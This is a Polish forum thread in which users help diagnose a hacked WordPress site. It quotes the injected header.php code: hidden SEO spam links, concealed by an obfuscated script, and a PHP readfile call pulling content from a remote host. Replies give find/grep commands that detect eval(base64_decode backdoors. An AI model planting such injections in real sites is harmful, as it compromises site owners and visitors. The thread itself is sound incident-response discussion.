Wirus in Wordpress Opcje

[nospor]

Hejka, dostalem do analizy strone postawioną na WP, w ktorej w header w theme porto w header.php pojawilo sie takie cos:

Kod

<div id="zcs">
<a href="http://www.usercc.com">釣漁具</a>
<a href="http://www.usercc.com">釣り道具</a>
<a href="http://www.usercc.com">山口屋釣漁具｜｜釣り道具（釣り具）</a>
<a href="http://www.kku4h.com/">釣り用品</a>
<a href="http://www.kku4h.com/">フィッシング用品</a>
<a href="http://www.kku4h.com/">釣り用品: フィッシング用品の通販</a>
<a href="http://www.ecotoid.com">大阪漁具</a>
<a href="http://www.ecotoid.com">鮎釣り 道具</a>
<a href="http://www.ecotoid.com">大阪漁具、鮎釣り 道具、タモ網</a>
<a href="http://www.tasmr.com/">中央漁具</a>
<a href="http://www.tasmr.com/">大阪 釣具</a>
<a href="http://www.tasmr.com/">アメリカ屋漁具?中央漁具 - 漁具！大阪 釣具</a>
<a href="http://www.usercc.com">http://www.usercc.com</a>
<a href="http://www.kku4h.com/">http://www.kku4h.com/</a>
<a href="http://www.ecotoid.com">http://www.ecotoid.com</a>
<a href="http://www.tasmr.com/">http://www.tasmr.com/</a>
<a href="http://www.vapurtrail.com/">釣り道具</a>
<a href="http://www.vapurtrail.com/">釣り用品</a>
<a href="http://www.vapurtrail.com/">磯釣り道具</a>
<a href="http://www.vapurtrail.com/">釣り道具、釣り用品必要なのかを分かりやすく紹介しています</a>
<a href="http://www.ghmuk.com/">釣竿 メーカー</a>
<a href="http://www.ghmuk.com/">鮎釣り用品</a>
<a href="http://www.ghmuk.com/">渓流釣り用品</a>
<a href="http://www.ghmuk.com/">釣竿 メーカー、渓流釣り 鮎竿、釣り道具を探すなら岡野釣具店</a>
<a href="http://www.danceani.com/">釣り用品</a>
<a href="http://www.vapurtrail.com/">http://www.vapurtrail.com/</a>
<a href="http://www.ghmuk.com/">http://www.ghmuk.com/</a>
<script>document.getElementById('z'+'c'+'s').style.display='no'+'ne'</script></div>


<?php readfile('http://remote2.iduun.net/link/dvd.txt'); ?>

No i teraz próbuje dojść ktoredy to wlazło... Ftp i ssh zostały wykluczone przez admina, nie było żadnych takich połączen w wybranym czasie, wiec jakaś dziura w WP? Nie mogę za bardzo nic wygooglać. Wiem, że wp jest dziurawy jak ser szwajcarski.... Jedyna rada to być na bieżąco z aktualizacjami czy cos jeszcze?

[redeemer]

http://wpscan.org/ + sprawdź ręcznie czy nie używasz starych wersji pluginów ze znanymi błędami.

Ftp i ssh zostały wykluczone przez admina

Nie traktowałbym tego jako wyrocznię.

Przeskanuj też czy nie masz gdzieś jakiegoś backdoora (dodatkowy plik / zmodyfikowany plik wp).

Ten post edytował redeemer 4.05.2015, 14:14:35

[memory]

https://wordpress.org/plugins/bulletproof-security/ lub inne pluginy typu Security

Ten post edytował memory 4.05.2015, 14:16:28

[redeemer]

https://wordpress.org/plugins/bulletproof-security/

http://www.securityfocus.com/archive/1/533904 :-)

[memory]

heehehe, pewnie zdążyli załatać

Ten post edytował memory 4.05.2015, 14:19:44

[redeemer]

heehehe, pewnie zdążyli załatać

To było "responsible disclosure", więc łata była od razu albo i wcześniej. Jednak IMHO nie wygląda to dobrze :-)

[nospor]

No ok, przelecialem tym wpscanem, faktycznie troche starowaty ten wp....

Przeskanuj też czy nie masz gdzieś jakiegoś backdoora

Ale czym mam przeskanowac?

[redeemer]

"Starowaty"? To upgrade - nad czym się tutaj zastanawiać? :-)

Co do backoodorów, to są jakieś automatyczne skanery, ale najprościej jak porównasz pliki na serwerze z czystym wp (+ pluginami które masz).

[sazian]

spróbuj czegoś takiego

Kod

echo "error 0:"
find . -type f -exec grep -q "@error_reporting(0)" '{}' \; -print
echo "error 5:"
find . -type f -exec grep -q "error_reporting(5)" '{}' \; -print
echo "eval"
find . -type f -exec grep -q "eval(base64_decode(" '{}' \; -print

generalnie szukasz dziwnych fragmentów kodu zapisanych w base64 i wywołań przez eval

ktoś musiał wgrać "panel administracyjny" przez jakiś dziurawy plugin lub przez ftp, a teraz ma pełen dostęp do serwera

warto by również wyszukać i przeanalizować wszystkie pliki php które były edytowane przez np. ostatnie 30 dni

[nospor]

@sazian pliki się zmienily raczej tylko header.php we wszystkich themes jakie były.
Zastanawia mnie jednak fakt, ze razem z tą samą datą, co pliki header.php zostal rowniez zmieniony katalog PLUGINS, jednak w nim, nie widac zadnych plikow ze zmianą. Wygląda to wiec tak, jakby ktoś nagrał tam jakiś plik, poczym skasował. Miedzy nagraniem a skasowaniem mogl rzecz jasna jeszcze ten plik wykonac.
Idzie jakos na serwerze znaleźć, czy odbyły się takie operacje: Nagranie po czym skasowanie pliku?

[sazian]

równie dobrze ktoś mógł zmienić datę edycji pliku,
przez "panel administracyjny" masz pełen dostęp do shella

[kreatiff]

Może takie coś? http://www.forum.optymalizacja.com/topic/2...-ftp-od-yandex/
Warto przeczytać też posty innych użytkowników w tym temacie.